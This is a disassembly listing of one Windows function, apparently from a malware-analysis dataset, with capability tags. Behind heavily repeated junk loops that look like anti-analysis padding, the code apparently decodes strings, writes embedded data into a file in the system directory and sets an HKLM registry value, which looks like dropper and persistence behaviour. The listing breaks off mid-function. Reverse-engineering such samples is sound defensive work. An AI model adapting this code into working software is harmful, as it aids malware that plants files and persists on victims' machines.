Function at 0x13153326
Capabilities:
Get common file path
Get file attributes
Read file on windows
Set registry value
Write file on windows

Disassembly:
mov eax, 0x8c18
call fcn.13155fe0
mov eax, dword [0x13183360]
xor eax, esp
mov dword [esp + 0x8c14], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
push edi
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
xor ebx, ebx
cmp eax, ebx
mov dword [0x131843e0], eax
mov edi, str.djbh33
je 0x131533a3
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131533a3
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131533a3
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131533d7
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131533b7
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153430
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153430
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153430
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153464
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153444
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13183340]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131534af
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xa24], al
mov byte [esp + ecx + 0xa25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153473
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131534fd
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131534fd
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131534fd
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153531
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153511
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13183314]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x1315357c
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x624], al
mov byte [esp + ecx + 0x625], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153540
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131535ca
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131535ca
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131535ca
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131535fe
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131535de
xor eax, eax
mov cl, byte [eax*4 + 0x13163090]
mov byte [esp + eax + 0xc24], cl
inc eax
cmp eax, 0x8000
jl 0x1315360b
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315366f
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315366f
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315366f
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131536a3
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153683
push 0x1ff
lea eax, [esp + 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315370f
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315370f
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315370f
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153743
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153723
lea eax, [esp + 0x624]
push eax
lea eax, [esp + 0x428]
push eax
lea eax, [esp + 0xa2c]
push eax
lea eax, [esp + 0x830]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131537c5
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131537c5
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131537c5
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x14], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131537f9
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x14]
mov dword [0x131843d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131537d9
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [esp + 0x83c]
push eax
call ebp
mov dword [esp + 0x14], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315386b
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315386b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315386b
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315389f
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315387f
call esi
cmp dword [esp + 0x14], 0xffffffff
mov dword [0x131843e0], eax
je 0x131539d5
cmp eax, ebx
je 0x13153903
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153903
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153903
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153937
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153917
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315399a
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315399a
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315399a
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131539c8
call esi
add eax, dword [0x131843d4]
add eax, ebx
mov dword [0x131843d8], eax
inc ebx
cmp ebx, 0xd
jl 0x131539aa
xor eax, eax
jmp 0x13154769
cmp eax, ebx
je 0x13153a1c
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153a1c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153a1c
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153a50
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153a30
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x83c]
push eax
call ebp
mov dword [esp + 0x14], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153ac2
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153ac2
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153ac2
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153af6
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153ad6
cmp dword [esp + 0x14], 0xffffffff
je 0x13153c51
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153b5a
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153b5a
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153b5a
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153b8e
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153b6e
push ebx
lea eax, [esp + 0x24]
push eax
push 0x8000
lea eax, [esp + 0xc30]
push eax
push dword [esp + 0x24]
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153c08
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153c08
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153c08
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153c3c
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153c1c
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13183090]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153c91
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x424], al
mov byte [esp + ecx + 0x425], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153c55
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153cdf
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153cdf
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153cdf
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153d13
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153cf3
mov dword [esp + 0x1c], 1
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153d74
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153d74
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153d74
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153da8
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153d88
push ebx
lea eax, [esp + 0x1c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [esp + 0x440]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153e23
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153e23
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153e23
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153e57
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153e37
cmp dword [esp + 0x18], ebx
je 0x131546e4
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153eba
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153eba
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153eba
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153eee
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153ece
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131832e8]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153f33
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153efd
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13153f81
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153f81
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13153f81
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153fb5
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153f95
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131832a8]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13154000
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x224], al
mov byte [esp + ecx + 0x225], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153fc4
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315404e
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315404e
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315404e
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154082
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154062
push 4
lea eax, [esp + 0x228]
push eax
push 1
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131540f7
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131540f7
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131540f7
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315412b
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315410b
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131832b8]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13154170
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x1315413a
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131541be
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131541be
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131541be
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131541f2
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131541d2
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154264
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154264
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154264
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154298
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154278
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13163064]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131542e3
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x224], al
mov byte [esp + ecx + 0x225], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x131542a7
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154331
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154331
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154331
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154365
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154345
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13183288]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131543aa
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13154374
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131543f8
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131543f8
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131543f8
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315442c
call esi
add eax, dword [esp + 0x10]
